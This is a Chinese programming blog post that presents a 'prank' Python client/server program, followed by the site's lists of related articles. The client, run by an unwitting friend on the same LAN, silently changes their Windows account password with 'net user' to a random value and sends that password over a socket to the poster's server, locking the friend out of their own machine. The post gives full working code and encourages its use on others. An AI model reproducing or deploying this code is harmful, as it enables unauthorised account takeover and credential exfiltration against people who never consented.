一个可以套路别人的python小程序实例代码


Posted in Python onApril 09, 2019

先简要介绍一下程序。

 程序是使用pycharm工具,python语言所写。程序包括客户端 client.py 和服务器端 server.py 两部分,利用了python中的socket包。

 咳咳,使用方法来了!

 首先,你需要你和你的朋友在同一个局域网内,然后在你的主机上,运行服务器端 server.py。

 然后,让你的朋友在他的电脑上运行客户端 client.py。

 此时你朋友电脑的windows用户密码,就会变成一个随机密码,且这个生成的随机密码他本人无法得知,而是把这个密码通过socket传给了服务器端的你。

嗯,然后你朋友的电脑密码就只有你自己知道了~

上代码:

# client.py:
import socket
import getpass
import subprocess
import random
phone = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
phone.connect(('172.17.21.56', 8080))
user = getpass.getuser()
psd = ''
for j in range(1, 9):
m = str(random.randrange(0, 10))
psd = psd + m
subprocess.Popen(['net', 'User', user, psd])
phone.send(psd.encode('utf-8'))
back_msg = phone.recv(1024)
phone.close()
# server.py
import socket
phone = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
phone.bind(('172.17.21.56', 8080))
phone.listen(5)
print('starting....')
conn, addr = phone.accept()
print(conn)
print('client addr', addr)
print('ready to read msg')
client_msg = conn.recv(1024)
print('client msg: %s' % client_msg)
conn.send(client_msg.upper())
conn.close()
phone.close()

总结

以上所述是小编给大家介绍的个可以套路别人的python小程序,希望对大家有所帮助,如果大家有任何疑问欢迎给我留言,小编会及时回复大家的!

Python 相关文章推荐
介绍Python中内置的itertools模块
Apr 29 Python
Python基于回溯法子集树模板解决0-1背包问题实例
Sep 02 Python
python3将视频流保存为本地视频文件
Jun 20 Python
python程序变成软件的实操方法
Jun 24 Python
Python Web框架之Django框架cookie和session用法分析
Aug 16 Python
Django错误:TypeError at / 'bool' object is not callable解决
Aug 16 Python
python自动化测试无法启动谷歌浏览器问题
Oct 10 Python
wxPython窗体拆分布局基础组件
Nov 19 Python
python如何建立全零数组
Jul 19 Python
python 实现弹球游戏的示例代码
Nov 17 Python
Pygame如何使用精灵和碰撞检测
Nov 17 Python
python中pymysql包操作数据库方法
Apr 19 Python
Python装饰器限制函数运行时间超时则退出执行
Apr 09 #Python
详解Python 解压缩文件
Apr 09 #Python
Python使用pandas和xlsxwriter读写xlsx文件的方法示例
Apr 09 #Python
Python中使用logging和traceback模块记录日志和跟踪异常
Apr 09 #Python
由Python编写的MySQL管理工具代码实例
Apr 09 #Python
python实现爬山算法的思路详解
Apr 09 #Python
Python使用Pickle模块进行数据保存和读取的讲解
Apr 09 #Python
You might like
PHP字符串中抽取子串操作实例分析
2019/06/22 PHP
下载文件个别浏览器文件名乱码解决办法
2013/03/19 Javascript
使用Grunt.js管理你项目的应用说明
2013/04/24 Javascript
JavaScript encodeURI 和encodeURIComponent
2015/12/04 Javascript
值得分享和收藏的Bootstrap学习教程
2016/05/12 Javascript
利用AJAX实现WordPress中的文章列表及评论的分页功能
2016/05/17 Javascript
Javascript实现跑马灯效果的简单实例
2016/05/31 Javascript
利用React-router+Webpack快速构建react程序
2016/10/27 Javascript
关于jQuery库冲突的完美解决办法
2017/05/20 jQuery
JavaScript实现单击网页任意位置打开新窗口与关闭窗口的方法
2017/09/21 Javascript
Node.js调用fs.renameSync报错(Error: EXDEV, cross-device link not permitted)
2017/12/27 Javascript
解决Mac下安装nmp的淘宝镜像失败问题
2018/05/16 Javascript
微信小程序排坑指南详解
2018/05/23 Javascript
vue实现的组件兄弟间通信功能示例
2018/12/04 Javascript
[19:24]DOTA2客户端使用指南 一分钟快速设置轻松超神
2013/09/24 DOTA
用Python写一个无界面的2048小游戏
2016/05/24 Python
python基本语法练习实例
2017/09/19 Python
python分布式环境下的限流器的示例
2017/10/26 Python
详解Python 字符串相似性的几种度量方法
2019/08/29 Python
python中如何使用insert函数
2020/01/09 Python
Matplotlib使用字符串代替变量绘制散点图的方法
2020/02/17 Python
Python 剪绳子的多种思路实现(动态规划和贪心)
2020/02/24 Python
Python简单实现词云图代码及步骤解析
2020/06/04 Python
Python内置方法和属性应用:反射和单例(推荐)
2020/06/19 Python
HTML5的结构和语义(4):语义性的内联元素
2008/10/17 HTML / CSS
PurCotton全棉时代官网:100%天然棉花生产的生活护理用品
2016/11/18 全球购物
Java基础知识面试要点
2016/07/29 面试题
业务代表的岗位职责
2013/11/16 职场文书
人事主管岗位职责范本
2013/12/04 职场文书
维护民族团结演讲稿
2014/08/27 职场文书
银行贷款委托书范本
2014/10/11 职场文书
好媳妇事迹材料
2014/12/24 职场文书
工作自我评价范文
2019/03/21 职场文书
竞聘书的秘诀
2019/04/02 职场文书
写一个Python脚本自动爬取Bilibili小视频
2021/04/24 Python
在Docker容器中部署SQL Server
2022/04/11 Servers